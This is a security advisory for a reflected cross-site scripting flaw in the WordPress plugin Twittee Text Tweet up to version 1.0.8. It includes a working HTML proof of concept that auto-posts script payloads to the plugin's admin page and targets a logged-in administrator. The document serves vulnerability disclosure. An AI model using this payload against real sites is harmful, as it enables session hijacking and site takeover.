Twittee Text Tweet <= 1.0.8 – Reflected XSS

Description

The plugin does not properly escape POST values which are printed back to the user inside one of the plugin's administrative page, which allows reflected XSS attacks targeting administrators to happen.

Proof of Concept

The endpoint http://<hostname>/wordpress/wp-admin/admin.php?page=twittee-text-tweet&saved=true
is vulnerable to POST-based XSS via `tweetTooltip` and `tweetContent` parameter. This happens because of improper handling of user input and the plugin does not properly validate the `nonce`.


1. Save the following as .html file and open it in the browser where Administrator is logged in.
```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://172.28.128.6/wordpress/wp-admin/admin.php?page=twittee-text-tweet&saved=true" method="POST">
      <input type="hidden" name="saved" value="true" />
      <input type="hidden" name="option_page" value="default" />
      <input type="hidden" name="action" value="update" />
      <input type="hidden" name="_wp_http_referer" value="/wordpress/wp-admin/admin.php?page=twittee-text-tweet" />
      <input type="hidden" name="tweetText" value="<script>alert(1)</script>" />
      <input type="hidden" name="tweetContent" value="<script>alert(2)</script>" />
      <input type="hidden" name="tweetTooltip" value="<script>alert(3)</script>" />
      <input type="hidden" name="tweetID" value="" />
      <input type="hidden" name="tweetPosition" value="topMiddle" />
      <input type="hidden" name="tweetTheme" value="cream" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```